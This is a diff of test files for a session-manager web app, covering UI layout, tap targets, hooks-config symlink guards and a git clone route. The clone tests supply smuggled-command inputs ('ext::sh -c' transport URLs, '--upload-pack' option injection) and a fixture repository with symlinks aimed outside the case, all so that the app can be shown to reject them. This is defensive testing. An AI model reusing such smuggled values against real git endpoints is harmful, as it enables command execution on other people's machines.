+// does), and the WIDTH GATE, which lives in two places at once — the JS constant
+// and a CSS media query — because the column is absolutely positioned and would
+// overlap the search panel in a narrow window.
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import vm from 'node:vm';
+import { describe, expect, it } from 'vitest';
+
+const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
+
+/** Minimal fake DOM node — enough surface for the programmatic row builders. */
+function fakeElement(): any {
+  const el: any = {
+    className: '',
+    type: '',
+    title: '',
+    textContent: '',
+    dataset: {},
+    style: {},
+    children: [] as any[],
+    setAttribute() {},
+    appendChild(child: any) {
+      el.children.push(child);
+      return child;
+    },
+  };
+  return el;
+}
+
+/**
+ * home-sessions.js reuses `_mobileOverviewState` / `_mobileOverviewCaseFor` /
+ * `shouldUseMobileOverview` from mobile-overview.js, so both files run in the
+ * same context — which is also the point: if that reuse ever breaks, these
+ * tests stop loading rather than quietly testing a divergent copy.
+ */
+function loadHomeSessionsApp(overrides: Record<string, any> = {}, innerWidth = 1512) {
+  const CodemanApp = function CodemanApp(this: any) {};
+  const context = vm.createContext({
+    CodemanApp,
+    console,
+    window: { innerWidth },
+    document: {
+      getElementById: () => null,
+      createElement: () => fakeElement(),
+      createElementNS: () => fakeElement(),
+    },
+    MobileDetection: { getDeviceType: () => (innerWidth < 430 ? 'mobile' : 'desktop') },
+  });
+  for (const file of ['mobile-overview.js', 'home-sessions.js']) {
+    vm.runInContext(readFileSync(resolve(PUBLIC, file), 'utf8'), context, { filename: file });
+  }
+
+  const app = new (CodemanApp as any)();
+  app.getSessionName = (session: any) => session.name || session.id.slice(0, 8);
+  app._shortenHomePath = (p: string) => (p || '').replace(/^\/home\/[^/]+\//, '~/');
+  app.loadAppSettingsFromStorage = () => ({});
+  Object.assign(app, overrides);
+  return app;
+}
+
+const CASES = [{ name: 'claudeman', path: '/home/arkon/default/claudeman', location: 'local' }];
+
+function sessionMap(list: Array<Record<string, any>>) {
+  return new Map(
+    list.map((over) => {
+      const s = { id: 'x', status: 'idle', mode: 'claude', workingDir: '/home/arkon/default/claudeman', ...over };
+      return [s.id, s];
+    })
+  );
+}
+
+describe('home sessions column: model', () => {
+  it('lists rows in TAB order, not by urgency, so the number badges match Alt+1..9', () => {
+    // The phone overview would hoist 'needy' to the top; this surface must not,
+    // because its badges are the Alt+N indices.
+    const app = loadHomeSessionsApp({
+      sessions: sessionMap([{ id: 'first' }, { id: 'needy' }, { id: 'third' }]),
+      sessionOrder: ['first', 'needy', 'third'],
+      cases: CASES,
+      pendingHooks: new Map([['needy', new Set(['permission_prompt'])]]),
+    });
+
+    const rows = app.buildHomeSessionRows();
+    expect(rows.map((r: any) => r.id)).toEqual(['first', 'needy', 'third']);
+    expect(rows.map((r: any) => r.index)).toEqual([0, 1, 2]);
+    expect(rows[1].state).toBe('needs');
+    expect(rows[1].pill).toBe('needs you');
+  });
+
+  it('shows a session that is not in the order list yet', () => {
+    // A freshly created session exists in this.sessions before the order array
+    // catches up; its tab is already on screen, so its row must be too.
+    const app = loadHomeSessionsApp({
+      sessions: sessionMap([{ id: 'known' }, { id: 'fresh' }]),
+      sessionOrder: ['known'],
+      cases: CASES,
+    });
+
+    expect(app.buildHomeSessionRows().map((r: any) => r.id)).toEqual(['known', 'fresh']);
+  });
+
+  it('classifies state through the shared phone-overview helper', () => {
+    const app = loadHomeSessionsApp({
+      sessions: sessionMap([
+        { id: 'w', status: 'busy' },
+        { id: 'i', status: 'idle' },
+        { id: 'd', status: 'stopped' },
+        { id: 'e', status: 'error' },
+      ]),
+      sessionOrder: ['w', 'i', 'd', 'e'],
+      cases: CASES,
+    });
+
+    expect(app.buildHomeSessionRows().map((r: any) => [r.state, r.pill])).toEqual([
+      ['working', 'working'],
+      ['idle', 'idle'],
+      ['done', 'done'],
+      ['error', 'error'],
+    ]);
+  });
+
+  it('labels a row with its case and a short backend badge', () => {
+    const app = loadHomeSessionsApp({
+      sessions: sessionMap([{ id: 'a', name: 'w1-claudeman', mode: 'codex' }]),
+      sessionOrder: ['a'],
+      cases: CASES,
+    });
+
+    const [row] = app.buildHomeSessionRows();
+    expect(row.caseName).toBe('claudeman');
+    expect(row.modeBadge).toBe('cx');
+    // claude is the default backend and gets no badge — the strip does the same.
+    const plain = loadHomeSessionsApp({
+      sessions: sessionMap([{ id: 'a', mode: 'claude' }]),
+      sessionOrder: ['a'],
+      cases: CASES,
+    });
+    expect(plain.buildHomeSessionRows()[0].modeBadge).toBe('');
+  });
+});
+
+describe('home sessions column: gate', () => {
+  it('renders on a wide desktop', () => {
+    const app = loadHomeSessionsApp({}, 1512);
+    expect(app.shouldShowHomeSessions()).toBe(true);
+  });
+
+  it('stays out of a window too narrow to hold it beside the centered content', () => {
+    // Absolutely positioned: below the gate it would overlap the search panel
+    // rather than push it aside.
+    expect(loadHomeSessionsApp({}, 1100).shouldShowHomeSessions()).toBe(false);
+    expect(loadHomeSessionsApp({}, 1179).shouldShowHomeSessions()).toBe(false);
+    expect(loadHomeSessionsApp({}, 1180).shouldShowHomeSessions()).toBe(true);
+  });
+
+  it('yields to the phone overview, which already lists the same sessions', () => {
+    const app = loadHomeSessionsApp({}, 390);
+    expect(app.shouldUseMobileOverview()).toBe(true);
+    expect(app.shouldShowHomeSessions()).toBe(false);
+  });
+
+  it('stays out of a popped-out solo window', () => {
+    expect(loadHomeSessionsApp({ isSoloWindow: true }, 1512).shouldShowHomeSessions()).toBe(false);
+  });
+});
+
+describe('home sessions column: wiring', () => {
+  const js = readFileSync(resolve(PUBLIC, 'home-sessions.js'), 'utf8');
+  const css = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
+  const html = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
+
+  it('keeps the JS width gate and the CSS media query in agreement', () => {
+    // Two gates for one decision: the JS one hides the element, the CSS one is
+    // the backstop for a resize that outruns the matchMedia listener. Drift
+    // means a column that overlaps the welcome content at some widths.
+    const jsMin = Number(/HOME_SESSIONS_MIN_WIDTH = (\d+)/.exec(js)?.[1]);
+    const cssMax = Number(/@media \(max-width: (\d+)px\) \{\s*\.home-sessions \{/.exec(css)?.[1]);
+    expect(jsMin).toBeGreaterThan(0);
+    expect(cssMax).toBe(jsMin - 1);
+  });
+
+  it('re-asserts [hidden] over the flex display', () => {
+    // .home-sessions is display:flex, which defeats the `hidden` attribute — the
+    // module's only visibility lever — unless this rule exists.
+    expect(css).toMatch(/\.home-sessions\[hidden\]\s*\{\s*display:\s*none;/);
+  });
+
+  it('reuses the tab-load spinner rather than declaring a second one', () => {
+    // The working ring is the same motion a tab shows while it loads, on both
+    // home screens. Re-declaring the keyframes here is how they drift apart.
+    expect(js).toContain('tab-load-spin');
+    expect(css).toMatch(/\.home-sessions-dot--working::after[\s\S]*?animation: tab-load-spin/);
+    expect(css).not.toMatch(/@keyframes home-sessions-load-spin/);
+    const mobileCss = readFileSync(resolve(PUBLIC, 'mobile.css'), 'utf8');
+    expect(mobileCss).toMatch(/\.mobile-overview-dot--working::after[\s\S]*?animation: tab-load-spin/);
+  });
+
+  it('gives the working dot the same green halo on both home screens', () => {
+    const halo = /box-shadow: 0 0 8px 2px color-mix\(in srgb, var\(--green\) 55%, transparent\)/;
+    expect(css).toMatch(halo);
+    expect(readFileSync(resolve(PUBLIC, 'mobile.css'), 'utf8')).toMatch(halo);
+  });
+
+  it('ships the container hidden, inside the welcome overlay, loaded after mobile-overview.js', () => {
+    expect(html).toMatch(/<aside class="home-sessions" id="homeSessions" hidden><\/aside>/);
+    const overlayStart = html.indexOf('id="welcomeOverlay"');
+    const aside = html.indexOf('id="homeSessions"');
+    const content = html.indexOf('class="welcome-content"');
+    expect(overlayStart).toBeGreaterThan(-1);
+    expect(aside).toBeGreaterThan(overlayStart);
+    expect(aside).toBeLessThan(content);
+    // Load order: the module reuses prototype methods installed by
+    // mobile-overview.js. Compare the <script> tags, not any mention: both
+    // files are named in explanatory comments earlier in the document.
+    expect(html.indexOf('src="home-sessions.js"')).toBeGreaterThan(html.indexOf('src="mobile-overview.js"'));
+  });
+});

test/hooks-config.test.ts

@@ -6,16 +6,21 @@
  */
 
 import { describe, it, expect, beforeAll, beforeEach, afterAll, afterEach } from 'vitest';
-import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync } from 'node:fs';
+import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync, symlinkSync } from 'node:fs';
 import { join } from 'node:path';
 import { tmpdir } from 'node:os';
 import { spawn } from 'node:child_process';
 import {
+  applyStatusLineConfig,
   ensureCodemanHooks,
   generateBackgroundWakeScript,
   generateHooksConfig,
   generateSubagentStopGuardScript,
   refreshStaleCodemanHooks,
+  settingsWriteBlocker,
+  stripCaseEnvKeys,
+  updateCaseEnvVars,
+  updateCaseModel,
   writeHooksConfig,
 } from '../src/hooks-config.js';
 
@@ -198,6 +203,62 @@ describe('writeHooksConfig', () => {
     expect(parsed.hooks.Stop).toHaveLength(1);
   });
 
+  it('refuses to write through a symlinked .claude directory (#251 review)', async () => {
+    // Case contents can be foreign (a freshly cloned repository): a symlinked
+    // .claude would redirect the scaffold write outside the case.
+    const outside = join(testDir, 'outside-target');
+    mkdirSync(outside);
+    const caseDir = join(testDir, 'case');
+    mkdirSync(caseDir);
+    symlinkSync(outside, join(caseDir, '.claude'));
+    expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
+    await writeHooksConfig(caseDir);
+    expect(existsSync(join(outside, 'settings.local.json'))).toBe(false);
+  });
+
+  it('refuses to write through a symlinked settings.local.json (#251 review)', async () => {
+    const outsideFile = join(testDir, 'victim-settings.json');
+    writeFileSync(outsideFile, '{"model":"precious"}\n');
+    const caseDir = join(testDir, 'case2');
+    mkdirSync(join(caseDir, '.claude'), { recursive: true });
+    symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
+    expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
+    await writeHooksConfig(caseDir);
+    // The link target is untouched: no hooks were merged into it.
+    expect(readFileSync(outsideFile, 'utf-8')).toBe('{"model":"precious"}\n');
+  });
+
+  it('reports a real, confined .claude as safe', async () => {
+    const caseDir = join(testDir, 'case3');
+    mkdirSync(join(caseDir, '.claude'), { recursive: true });
+    expect(await settingsWriteBlocker(caseDir)).toBeNull();
+  });
+
+  it('EVERY settings writer refuses a symlinked settings.local.json (#251 review round 2)', async () => {
+    // Round 1 guarded only writeHooksConfig/updateCaseModel; the reviewer
+    // demonstrated applyStatusLineConfig writing through the link. All
+    // writers now share one safe-write gate, so pin all of them at once.
+    const outsideFile = join(testDir, 'victim-all-writers.json');
+    const precious =
+      '{"env":{"CLAUDE_CODE_KEEP":"me"},"hooks":{"Stop":[{"hooks":[{"command":"curl /api/hook-event"}]}]}}\n';
+    writeFileSync(outsideFile, precious);
+    const caseDir = join(testDir, 'case-writers');
+    mkdirSync(join(caseDir, '.claude'), { recursive: true });
+    symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
+
+    await writeHooksConfig(caseDir);
+    await ensureCodemanHooks(caseDir);
+    await refreshStaleCodemanHooks(caseDir);
+    await updateCaseModel(caseDir, 'opus');
+    await updateCaseEnvVars(caseDir, { CLAUDE_CODE_NEW: 'value' });
+    await stripCaseEnvKeys(caseDir, ['CLAUDE_CODE_KEEP']);
+    await applyStatusLineConfig(caseDir, true);
+    await applyStatusLineConfig(caseDir, false);
+
+    // The link target is byte-identical: none of the writers went through it.
+    expect(readFileSync(outsideFile, 'utf-8')).toBe(precious);
+  });
+
   it('should merge with existing settings.local.json', async () => {
     const claudeDir = join(testDir, '.claude');
     mkdirSync(claudeDir, { recursive: true });

test/mobile-header-buttons-policy.test.ts

@@ -143,3 +143,48 @@ describe('Mobile header button policy (static guard)', () => {
     }
   });
 });
+
+// The flip side of the policy above: the ONE header control phones do keep has
+// to be pressable. The brand "C" is the way back to the home screen and was a
+// 0.85rem inline span — roughly a 12x13px target, well under the 44px minimum.
+describe('Phone home button tap target (static guard)', () => {
+  const css = readFileSync(join(PUBLIC, 'mobile.css'), 'utf-8');
+
+  /** Declarations applying to `.header-brand .logo` inside a phone media query. */
+  function phoneLogoDecls(): Map<string, string> {
+    const decls = new Map<string, string>();
+    postcss.parse(css).walkAtRules('media', (atRule) => {
+      if (!appliesToPhone(atRule.params)) return;
+      atRule.walkRules((rule) => {
+        if (!/\.header-brand\s+\.logo\s*$/.test(rule.selector)) return;
+        rule.walkDecls((decl) => decls.set(decl.prop, decl.value));
+      });
+    });
+    return decls;
+  }
+
+  it('gives the brand button a 44x44 hit area on phones', () => {
+    const decls = phoneLogoDecls();
+    expect(decls.get('min-width'), 'the "C" home button needs an explicit 44px min-width on phones').toBe('44px');
+    // A bare inline span ignores width entirely — the box only exists once it
+    // stops being inline.
+    expect(decls.get('display')).toBe('inline-flex');
+    // The other axis is the header's, so the two have to be read together: the
+    // button is only 44 tall because the phone header is.
+    expect(decls.get('height')).toBe('var(--header-height)');
+  });
+
+  it('keeps the phone header at 44px, the height that makes that target square', () => {
+    // The bar was 36px. Shrinking it again silently takes 8px back off every
+    // header touch target, the home button included.
+    let phoneHeaderHeight: string | undefined;
+    postcss.parse(css).walkAtRules('media', (atRule) => {
+      if (!appliesToPhone(atRule.params)) return;
+      atRule.walkRules((rule) => {
+        if (rule.selector.trim() !== ':root') return;
+        rule.walkDecls('--header-height', (decl) => (phoneHeaderHeight = decl.value.trim()));
+      });
+    });
+    expect(phoneHeaderHeight, '--header-height must be redefined for phones in mobile.css').toBe('44px');
+  });
+});

test/mobile/keyboard.test.ts

@@ -775,6 +775,76 @@ describe('Virtual Keyboard', () => {
       expect(activeClass).toContain('xterm-helper-textarea');
     });
 
+    // Regression guard for the phone-keyboard blocker reduced in #173 and re-hit
+    // by #244. selectSession() ends with scrollToLastNonEmptyLine(), which parks
+    // the viewport ABOVE the bottom for any session whose buffer is taller than
+    // the screen and ends in blank rows, i.e. every real session after a tab
+    // switch. A tap-routing scheme that treats "viewport is scrolled up" as a
+    // reason to blur strands document.activeElement on <body> with no way to
+    // raise the keyboard, and the prompt row is no exception. Suppressing the
+    // MOUSE REPORT while scrolled up is correct and pinned below; suppressing
+    // FOCUS is not. Measured against PR #244 on 2026-08-09: body vs textarea.
+    //
+    // Must be a dispatched gesture: calling the touchend handler directly
+    // bypasses touchstart's preventDefault, which is half of what closes the
+    // focus path, so a direct call reports the right intent and still misses.
+    it('keeps the terminal input focusable after a tab switch parks the viewport off-bottom', async () => {
+      const probe = await page.evaluate(async () => {
+        window.__sentInputs = [];
+        app.activeSessionId = 'mobile-offbottom-tap-test';
+        app.sessions.set('mobile-offbottom-tap-test', {
+          id: 'mobile-offbottom-tap-test',
+          mode: 'claude',
+          cliVersion: '2.1.220',
+          status: 'running',
+        });
+        app._sendInputAsync = (_sessionId: string, input: string) => {
+          window.__sentInputs.push(input);
+        };
+        app.hideWelcome();
+        const settings = app.loadAppSettingsFromStorage();
+        settings.cjkInputEnabled = false;
+        app.saveAppSettingsToStorage(settings);
+        app._updateCjkInputState();
+        app.terminal.reset();
+
+        // Taller than the viewport, ending in the trailing blank rows that make
+        // scrollToLastNonEmptyLine() stop short of the bottom.
+        const lines: string[] = [];
+        for (let i = 1; i <= app.terminal.rows * 3; i++) lines.push(`Transcript row ${i}`);
+        lines.push('', '❯ ', '', '');
+        await new Promise<void>((resolve) => app.terminal.write(lines.join('\r\n'), resolve));
+
+        app.scrollToLastNonEmptyLine(); // what selectSession() does on every tab switch
+        (document.activeElement as HTMLElement | null)?.blur?.();
+
+        const screen = app.terminal.element?.querySelector('.xterm-screen');
+        const cell = app.terminal._core?._renderService?.dimensions?.css?.cell;
+        const rect = screen?.getBoundingClientRect();
+        if (!rect || !cell?.width || !cell?.height) return null;
+        const buffer = app.terminal.buffer.active;
+        return {
+          x: rect.left + cell.width * 2,
+          y: rect.top + cell.height * 5.5,
+          atBottom: buffer.viewportY >= buffer.baseY,
+        };
+      });
+
+      expect(probe).not.toBeNull();
+      // The guard only means anything if the viewport really did park off-bottom.
+      expect(probe!.atBottom).toBe(false);
+
+      await page.touchscreen.tap(probe!.x, probe!.y);
+
+      const state = await page.evaluate(() => ({
+        activeClass: document.activeElement?.className,
+        sentInputs: window.__sentInputs,
+      }));
+      expect(state.activeClass).toContain('xterm-helper-textarea');
+      // SGR coordinates are meaningless off-bottom, so the tap must stay silent.
+      expect(state.sentInputs).toEqual([]);
+    });
+
     it('keeps terminal touch drag available for scrollback with the visible textarea enabled', async () => {
       const calls = await page.evaluate(async () => {
         app.activeSessionId = 'mobile-touch-scroll-test';

test/render-index-html.test.ts

@@ -18,6 +18,7 @@ import { isCodexAvailable } from '../src/utils/codex-cli-resolver.js';
 import { isGeminiAvailable } from '../src/utils/gemini-cli-resolver.js';
 import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js';
 import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
+import { isGitAvailable } from '../src/git-clone.js';
 
 // renderIndexHtml probes the real PATH for every CLI, which would make the
 // assertions below depend on whatever happens to be installed on the machine
@@ -46,6 +47,10 @@ vi.mock('../src/utils/cloudflared-resolver.js', () => ({
   isCloudflaredAvailable: vi.fn(() => false),
   resolveCloudflaredPath: vi.fn(() => null),
 }));
+// git gates the Add Case -> Clone Repo tab (#236), so it rides in the same object.
+vi.mock('../src/git-clone.js', () => ({
+  isGitAvailable: vi.fn(() => false),
+}));
 
 const TEMPLATE = [
   '<head>',
@@ -127,6 +132,7 @@ describe('WebServer.renderIndexHtml', () => {
     vi.mocked(isGeminiAvailable).mockReturnValue(false);
     vi.mocked(isAntigravityAvailable).mockReturnValue(false);
     vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
+    vi.mocked(isGitAvailable).mockReturnValue(true);
     const { server } = makeServer({});
     const html = await render(server);
     const flags = JSON.parse(html.match(/window\.__codemanCliAvailable=(\{.*?\});/)![1]);
@@ -139,6 +145,7 @@ describe('WebServer.renderIndexHtml', () => {
       gemini: false,
       antigravity: false,
       cloudflared: true,
+      git: true,
     });
   });
 
@@ -152,6 +159,7 @@ describe('WebServer.renderIndexHtml', () => {
       isGeminiAvailable,
       isAntigravityAvailable,
       isCloudflaredAvailable,
+      isGitAvailable,
     ]) {
       vi.mocked(probe).mockReturnValue(false);
     }

test/routes/case-clone-routes.test.ts

@@ -0,0 +1,317 @@
+/**
+ * @fileoverview End-to-end tests for POST /api/cases/clone and
+ * /api/cases/clone-preflight (issue #236).
+ *
+ * Deliberately runs against a REAL filesystem and a REAL `git` cloning a REAL
+ * local bare repo, unlike its sibling `case-routes.test.ts` which mocks `node:fs`
+ * wholesale. Mocking here would only prove the handler calls functions in the
+ * order the test expects; what actually needs proving is that a clone lands a
+ * working tree in the case directory, that scaffolding does not overwrite the
+ * repository's own files, and that a rejected URL never reaches git.
+ *
+ * `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
+ * inside the fixture and nothing touches the developer's real ~/codeman-cases.
+ *
+ * Port: N/A (app.inject).
+ */
+
+import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
+import Fastify, { type FastifyInstance } from 'fastify';
+import fastifyCookie from '@fastify/cookie';
+import { execFileSync } from 'node:child_process';
+import {
+  existsSync,
+  lstatSync,
+  mkdirSync,
+  mkdtempSync,
+  readFileSync,
+  rmSync,
+  symlinkSync,
+  writeFileSync,
+} from 'node:fs';
+import { homedir, tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
+import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
+import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
+import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
+import { isGitAvailable } from '../../src/git-clone.js';
+
+const CASES_DIR = join(homedir(), 'codeman-cases');
+const gitPresent = isGitAvailable();
+
+let app: FastifyInstance;
+let ctx: MockRouteContext;
+
+async function buildApp(): Promise<void> {
+  app = Fastify({ logger: false });
+  await app.register(fastifyCookie);
+  // Mirror the production preSerialization envelope hook so error codes map to
+  // their conventional HTTP status (copied from server.ts, as in case-routes.test.ts).
+  app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
+    if (!req.url.startsWith('/api')) return done(null, payload);
+    if (payload === null || typeof payload !== 'object') return done(null, payload);
+    const p = payload as { success?: unknown; errorCode?: unknown };
+    if (p.success === false) {
+      if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
+        reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
+      }
+      return done(null, payload);
+    }
+    if (p.success === true) return done(null, payload);
+    return done(null, { success: true, data: payload });
+  });
+  ctx = createMockRouteContext();
+  registerCaseRoutes(app, ctx as never);
+  installRouteErrorHandler(app);
+  await app.ready();
+}
+
+const clone = (payload: Record<string, unknown>) => app.inject({ method: 'POST', url: '/api/cases/clone', payload });
+const preflight = (repository: unknown) =>
+  app.inject({ method: 'POST', url: '/api/cases/clone-preflight', payload: { repository } });
+
+describe('POST /api/cases/clone-preflight', () => {
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('answers 200 with the rejection reason for an ext:: URL (never probes it)', async () => {
+    const res = await preflight('ext::sh -c "id > /tmp/pwned"');
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.success).toBe(true);
+    expect(body.data.parse.cloneable).toBe(false);
+    expect(body.data.parse.code).toBe('TRANSPORT_HELPER');
+    expect(body.data.remote).toBeUndefined();
+  });
+
+  it('returns the parsed owner/repo and a case-name suggestion for a valid URL', async () => {
+    const res = await preflight('https://github.com/owner/My.Repo.git');
+    const body = JSON.parse(res.body);
+    expect(body.data.parse.cloneable).toBe(true);
+    expect(body.data.parse.owner).toBe('owner');
+    expect(body.data.parse.repo).toBe('My.Repo');
+    expect(body.data.parse.suggestedName).toBe('My-Repo');
+  });
+
+  it('validates the body', async () => {
+    expect((await preflight('')).statusCode).toBe(400);
+    expect((await preflight(undefined)).statusCode).toBe(400);
+  });
+});
+
+describe('POST /api/cases/clone — input rejection', () => {
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('refuses a transport helper before touching git', async () => {
+    const res = await clone({ name: 'pwned', repository: 'ext::sh -c "touch /tmp/codeman-pwned"' });
+    expect(res.statusCode).toBe(400);
+    const body = JSON.parse(res.body);
+    expect(body.errorCode).toBe(ApiErrorCode.INVALID_INPUT);
+    expect(body.error).toMatch(/ext::/);
+    expect(existsSync(join(CASES_DIR, 'pwned'))).toBe(false);
+  });
+
+  it('refuses an option-shaped repository', async () => {
+    const res = await clone({ name: 'opt', repository: '--upload-pack=touch /tmp/x' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/may not start with/);
+  });
+
+  it('refuses a URL with embedded credentials', async () => {
+    const res = await clone({ name: 'creds', repository: 'https://u:token@github.com/o/r.git' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/never accepts or stores/i);
+  });
+
+  it('refuses an unsafe ref', async () => {
+    const res = await clone({ name: 'ref', repository: 'https://github.com/o/r.git', ref: '--upload-pack=x' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/branch or tag/i);
+  });
+
+  it('rejects an invalid case name via the schema', async () => {
+    const res = await clone({ name: '../escape', repository: 'https://github.com/o/r.git' });
+    expect(res.statusCode).toBe(400);
+  });
+
+  it('rejects a name that collides with an existing case before cloning', async () => {
+    mkdirSync(join(CASES_DIR, 'taken'), { recursive: true });
+    try {
+      const res = await clone({ name: 'taken', repository: 'https://github.com/o/r.git' });
+      expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
+      expect(JSON.parse(res.body).error).toMatch(/already exists/i);
+    } finally {
+      rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
+    }
+  });
+});
+
+describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
+  let root: string;
+  let origin: string;
+  let hostileOrigin: string;
+  let victimDir: string;
+  let victimFile: string;
+  const created: string[] = [];
+
+  const git = (args: string[], cwd: string) =>
+    execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
+
+  beforeAll(() => {
+    root = mkdtempSync(join(tmpdir(), 'codeman-clone-route-'));
+    origin = join(root, 'origin.git');
+    mkdirSync(origin);
+    git(['init', '--bare', '--quiet'], origin);
+
+    const work = join(root, 'work');
+    mkdirSync(work);
+    git(['init', '--quiet'], work);
+    git(['config', 'user.email', 'test@example.com'], work);
+    git(['config', 'user.name', 'Codeman Test'], work);
+    writeFileSync(join(work, 'README.md'), '# fixture\n');
+    // The repo ships BOTH files the scaffolder would otherwise write.
+    writeFileSync(join(work, 'CLAUDE.md'), '# repository-owned CLAUDE.md\n');
+    mkdirSync(join(work, '.claude'));
+    writeFileSync(join(work, '.claude', 'settings.json'), '{"permissions":{}}\n');
+    git(['add', '.'], work);
+    git(['commit', '--quiet', '-m', 'initial'], work);
+    git(['branch', '-M', 'main'], work);
+    git(['tag', 'v1'], work);
+    git(['remote', 'add', 'origin', origin], work);
+    git(['push', '--quiet', 'origin', 'main', '--tags'], work);
+    git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
+
+    // A HOSTILE repository: it ships the scaffold paths as symlinks aimed
+    // outside the case, so a scaffolder that follows them writes onto this
+    // machine's own files. victimFile deliberately does NOT exist, because a
+    // BROKEN CLAUDE.md link is the case existsSync gets wrong (it follows the
+    // link, reports "absent", and the scaffold write would then CREATE the
+    // outside file).
+    victimDir = join(root, 'victim-claude');
+    mkdirSync(victimDir);
+    victimFile = join(root, 'victim-file.md');
+    hostileOrigin = join(root, 'hostile.git');
+    mkdirSync(hostileOrigin);
+    git(['init', '--bare', '--quiet'], hostileOrigin);
+    const hostileWork = join(root, 'hostile-work');
+    mkdirSync(hostileWork);
+    git(['init', '--quiet'], hostileWork);
+    git(['config', 'user.email', 'test@example.com'], hostileWork);
+    git(['config', 'user.name', 'Codeman Test'], hostileWork);
+    writeFileSync(join(hostileWork, 'README.md'), '# hostile fixture\n');
+    symlinkSync(victimFile, join(hostileWork, 'CLAUDE.md'));
+    symlinkSync(victimDir, join(hostileWork, '.claude'));
+    git(['add', '.'], hostileWork);
+    git(['commit', '--quiet', '-m', 'hostile'], hostileWork);
+    git(['branch', '-M', 'main'], hostileWork);
+    git(['remote', 'add', 'origin', hostileOrigin], hostileWork);
+    git(['push', '--quiet', 'origin', 'main'], hostileWork);
+    git(['symbolic-ref', 'HEAD', 'refs/heads/main'], hostileOrigin);
+  });
+
+  afterAll(() => {
+    rmSync(root, { recursive: true, force: true });
+    for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
+  });
+
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('clones into the case directory and broadcasts case:created', async () => {
+    created.push('cloned-case');
+    const res = await clone({ name: 'cloned-case', repository: origin });
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.success).toBe(true);
+    expect(body.data.case).toEqual({ name: 'cloned-case', path: join(CASES_DIR, 'cloned-case') });
+    expect(existsSync(join(CASES_DIR, 'cloned-case', 'README.md'))).toBe(true);
+    expect(existsSync(join(CASES_DIR, 'cloned-case', '.git'))).toBe(true);
+    expect(ctx.broadcast).toHaveBeenCalledWith('case:created', {
+      name: 'cloned-case',
+      path: join(CASES_DIR, 'cloned-case'),
+    });
+  });
+
+  it("keeps the repository's own CLAUDE.md and warns about repo-supplied .claude settings", async () => {
+    created.push('keeps-files');
+    const res = await clone({ name: 'keeps-files', repository: origin });
+    const body = JSON.parse(res.body);
+    expect(readFileSync(join(CASES_DIR, 'keeps-files', 'CLAUDE.md'), 'utf-8')).toBe('# repository-owned CLAUDE.md\n');
+    expect(body.data.warnings.join(' ')).toMatch(/Kept the repository/);
+    // Repo-shipped hooks run on this machine: the response has to say so.
+    expect(body.data.warnings.join(' ')).toMatch(/ships its own \.claude/);
+  });
+
+  it('installs Codeman hooks alongside whatever the repo shipped', async () => {
+    created.push('hooked');
+    await clone({ name: 'hooked', repository: origin });
+    const settingsPath = join(CASES_DIR, 'hooked', '.claude', 'settings.local.json');
+    expect(existsSync(settingsPath)).toBe(true);
+    expect(JSON.parse(readFileSync(settingsPath, 'utf-8')).hooks).toBeTruthy();
+    // The repo's own settings.json is untouched.
+    expect(readFileSync(join(CASES_DIR, 'hooked', '.claude', 'settings.json'), 'utf-8')).toBe('{"permissions":{}}\n');
+  });
+
+  it('honors a ref and reports it back', async () => {
+    created.push('at-tag');
+    const res = await clone({ name: 'at-tag', repository: origin, ref: 'v1', shallow: true });
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.data.ref).toBe('v1');
+    expect(existsSync(join(CASES_DIR, 'at-tag', 'README.md'))).toBe(true);
+  });
+
+  it('leaves no case directory behind when the clone fails', async () => {
+    const res = await clone({ name: 'ghost-case', repository: join(root, 'no-such-repo.git') });
+    expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.NOT_FOUND));
+    expect(JSON.parse(res.body).error).toMatch(/not found/i);
+    // A leftover empty directory would occupy the name forever.
+    expect(existsSync(join(CASES_DIR, 'ghost-case'))).toBe(false);
+  });
+
+  it('reports a missing ref as invalid input, not a server error', async () => {
+    const res = await clone({ name: 'bad-ref-case', repository: origin, ref: 'no-such-branch' });
+    expect(res.statusCode).toBe(400);
+    expect(existsSync(join(CASES_DIR, 'bad-ref-case'))).toBe(false);
